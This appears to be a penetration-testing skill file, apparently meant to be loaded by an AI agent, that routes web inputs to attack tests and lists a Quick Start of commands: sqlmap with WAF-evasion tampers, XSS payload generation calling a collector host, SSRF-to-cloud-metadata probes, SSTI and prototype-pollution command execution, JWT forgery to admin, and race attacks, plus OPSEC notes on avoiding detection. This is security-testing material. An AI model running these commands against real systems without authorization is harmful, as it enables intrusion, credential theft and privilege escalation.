Web Application Penetration Testing

When to Activate

• Web application security assessment (black/grey/white box)
• API security testing (REST, GraphQL, WebSocket)
• Authentication & session management testing (JWT, OAuth/OIDC, SAML)
• Business-logic and race-condition hunting
• WAF/CSP bypass, filter evasion, and CDN-layer attacks (desync, cache)
• Validating modern 2024-2026 vectors: HTTP/1.1 desync (0.CL/TE.0), SSRF->cloud metadata, prototype-pollution->RCE, SSTI sandbox escapes

Input-Signal Routing (what to test when you see X)

Fast test selection — map an observed parameter/behavior to the right deep-dive:

Input signal you observe	Test for	Go to
id, uid, order_id, account, GUID/sequential ref	IDOR/BOLA, access control	references/auth-api-access-control.md
url, next, callback, dest, webhook, image_url	SSRF + cloud metadata, open redirect, OAuth chain	references/ssrf-cloud-metadata.md
price, qty, coupon, balance, status, state change	business logic + single-packet race	references/http-desync-cache.md (race)
template/preview/name reflected in output	SSTI -> RCE, reflected XSS	references/ssti-deserialization.md
search/filter/sort reflected; q=, error echoes input	SQLi, XSS, command injection	references/injection-sqli-cmdi.md
token, jwt, Authorization, Cookie, OAuth state	JWT forgery, session/OAuth flaws	references/auth-api-access-control.md
empty/missing/session=; login accepts no creds; user[$ne]=	auth-check tampering (empty/null/NoSQL/type-juggle/HPP), token prediction	references/auth-api-access-control.md
serialized blob / base64 object / __proto__	deserialization, prototype pollution	references/ssti-deserialization.md
behind CDN/cache; X-Forwarded-*; keyed params	desync (0.CL/TE.0), cache poisoning	references/http-desync-cache.md

Technique Map

Technique	ATT&CK	CWE	Reference	Script
SQL injection (UNION/blind/NoSQL)	T1190	CWE-89	references/injection-sqli-cmdi.md	scripts/ssrf_toolkit.py (probe pattern) / sqlmap
OS command / argument injection	T1059	CWE-78 / CWE-88	references/injection-sqli-cmdi.md	-
Reflected/stored/DOM XSS	T1059.007	CWE-79	references/xss-csp-clientside.md	scripts/xss_csp_forge.py
CSP bypass / script gadgets	T1059.007	CWE-1021	references/xss-csp-clientside.md	scripts/xss_csp_forge.py
Client-side prototype pollution -> XSS	T1059.007	CWE-1321	references/xss-csp-clientside.md	scripts/xss_csp_forge.py
SSRF + cloud metadata theft	T1552.005	CWE-918	references/ssrf-cloud-metadata.md	scripts/ssrf_toolkit.py
IMDSv2 bypass (Axios gadget)	T1552.005	CWE-113	references/ssrf-cloud-metadata.md	scripts/proto_ssti_gadgets.py
HTTP request smuggling / desync	T1190	CWE-444	references/http-desync-cache.md	scripts/desync_probe.py
Web cache poisoning / deception	T1557	CWE-525	references/http-desync-cache.md	scripts/desync_probe.py
SSTI -> RCE (Jinja2/Twig/FM/...)	T1059	CWE-1336	references/ssti-deserialization.md	scripts/proto_ssti_gadgets.py
Server-side prototype pollution -> RCE	T1059	CWE-1321	references/ssti-deserialization.md	scripts/proto_ssti_gadgets.py
Insecure deserialization (Java/.NET/PHP)	T1059	CWE-502	references/ssti-deserialization.md	ysoserial / ysoserial.net
JWT forgery (none/confusion/jku/jwk/kid)	T1078	CWE-347	references/auth-api-access-control.md	scripts/jwt_forge.py
Auth-check tampering (empty/null/NoSQL-op/type-juggle/HPP)	T1556	CWE-287 / CWE-697 / CWE-943	references/auth-api-access-control.md	-
Session token prediction (weak PRNG/entropy)	T1539	CWE-330	references/auth-api-access-control.md	scripts/session_entropy.py
OAuth/OIDC/SAML auth bypass	T1078	CWE-287	references/auth-api-access-control.md	scripts/jwt_forge.py
GraphQL abuse (batch/alias/depth)	T1190	CWE-770	references/auth-api-access-control.md	scripts/graphql_audit.py
IDOR / BOLA / mass assignment	T1078	CWE-639 / CWE-915	references/auth-api-access-control.md	-
Race condition (single-packet)	T1190	CWE-362	references/auth-api-access-control.md	scripts/race_single_packet.py
Business-logic abuse (price/refund/workflow/race)	T1539	CWE-841	references/business-logic-abuse.md	scripts/race_single_packet.py
HTTP Parameter Pollution (HPP)	T1190	CWE-235 / CWE-88	references/injection-sqli-cmdi.md	-
File-upload -> webshell / RCE	T1505.003	CWE-434	references/injection-sqli-cmdi.md	-

Quick Start

# 0. Intake from recon-osint: hosts, tech fingerprint, endpoints, params.
#    Spider + content discovery
ffuf -u https://t/FUZZ -w raft-large.txt -mc all -fc 404 -o ffuf.json
nuclei -u https://t -severity critical,high -tags cve,exposure,misconfig

# 1. Injection — automated SQLi, manual cmdi
sqlmap -r request.txt --batch --level 3 --risk 2 --tamper=between,space2comment

# 2. XSS / CSP
python3 scripts/xss_csp_forge.py contexts --collector atk.tld
python3 scripts/xss_csp_forge.py csp "$(curl -sI https://t | grep -i content-security)"

# 3. SSRF -> cloud metadata
python3 scripts/ssrf_toolkit.py probe "https://t/api/fetch?url=FUZZ" --collab abc.oast.fun
python3 scripts/ssrf_toolkit.py cloud --provider aws

# 4. HTTP desync (2024-2026 vectors: cl0/expect/options/te0)
python3 scripts/desync_probe.py https://t --probe all --verbose

# 5. SSTI / prototype pollution / deserialization
python3 scripts/proto_ssti_gadgets.py detect
python3 scripts/proto_ssti_gadgets.py ssti --engine jinja2 --cmd "id"
python3 scripts/proto_ssti_gadgets.py proto --cmd "id"

# 6. Auth & API
python3 scripts/jwt_forge.py hs-confuse "$JWT" --pubkey pub.pem --claim role=admin
python3 scripts/graphql_audit.py introspect https://t/graphql

# 7. Logic / race
python3 scripts/race_single_packet.py https://t/redeem -d "code=X" -n 30 -H "Cookie: s=..."

# -> feed each confirmed issue into templates/exploit/findings/ with
#    severity, CWE, CVSS, PoC, evidence, ATT&CK ID, remediation.

OPSEC & Detection (summary)

Technique	Telemetry / IOC	Detection (Sigma/EDR)	OPSEC note
SQLi / cmdi	SQL keywords, SLEEP/WAITFOR, web-svc spawning sh/curl	webserver regex Sigma; EDR child-shell from www-data	time-based is slow+noisy; --random-agent --delay, in-band reads first
XSS / CSP / client-PP	<script, onerror=, __proto__ in params; CSP report-uri hits	webserver regex; Trusted-Types violation alerts	persistent __proto__ can break shared cached pages — avoid
SSRF / metadata	hits to 169.254.169.254 / metadata hosts from app tier	proxy Sigma; GuardDuty credential-exfil	stop at proving token retrieval; rotate collaborator subdomains
HTTP desync / cache	CL+TE together, obs-fold, Expect on OPTIONS to CDN	proxy Sigma; reject ambiguous framing	poisons co-tenant traffic — scoped only, never POST-smuggle prod
SSTI / PP / deser	{{ }}/${ }, NODE_OPTIONS, rO0AB, JNDI egress	webserver/body Sigma; EDR java->LDAP/RMI	id probe first; reverse shells trip EDR; revert polluted config
JWT / OAuth / GraphQL	alg:none, unknown jku/kid, multi-op GraphQL body	app Sigma; failed-verify spikes	forged-JWT attempts alert; cap GraphQL brute wordlist/rate
Race (single-packet)	burst of near-simultaneous mutating requests	rate-by-endpoint Sigma in 1s window	keep -n low; document state mutated for cleanup

Deep Dives

• references/injection-sqli-cmdi.md — SQLi (UNION/blind/error/NoSQL), OS command & argument injection, HTTP Parameter Pollution (HPP), file-upload -> webshell/RCE, sqlmap tamper workflow, modern WAF/Unicode evasion.
• references/xss-csp-clientside.md — XSS contexts, DOM sinks, CSP bypass + script gadgets, client-side prototype pollution -> XSS, mXSS/sanitizer bypass.
• references/ssrf-cloud-metadata.md — SSRF parser confusion, gopher/redis, AWS/GCP/Azure metadata, IMDSv2 reality + Axios bypass, HTML-to-PDF switch, 2024-2026 CVEs (Azure OpenAI, Oracle EBS, Next.js, ColdFusion).
• references/http-desync-cache.md — CL.TE/TE.CL, TE.0 (2024), 0.CL/Expect & CVE-2025-32094 (Akamai), TE.TE chunk-ext, cache poisoning/deception ("Gotta cache 'em all", ACM CCS 2024), pipelining-vs-desync caveat.
• references/ssti-deserialization.md — per-engine SSTI RCE, sandbox escapes (CVE-2024-22195, Frappe/XWiki/Yeti), Node prototype-pollution -> RCE (GHunter, NODE_OPTIONS --import), Java/.NET/PHP deserialization gadget chains.
• references/auth-api-access-control.md — JWT forgery, OAuth/OIDC/SAML, GraphQL batch/alias/depth abuse, session & auth-check tampering (empty/null/falsy value, NoSQL-operator + type-juggling + HPP into auth), session token prediction/entropy (scripts/session_entropy.py), test-account setup for cross-identity testing, IDOR/BOLA/mass assignment, and the HTTP/2 single-packet race attack.
• references/business-logic-abuse.md — model the intended state machine, then break transitions: price/quantity/coupon tampering, refund/payout & single-packet races, workflow-step skip, idempotency gaps, tenant/role confusion, flaw-chaining.
• references/proxy-mcp-integration.md — driving a live Burp/Caido proxy MCP for ground-truth traffic + replay-with-auth, with mandatory header redaction (redact_headers.py) at the data boundary.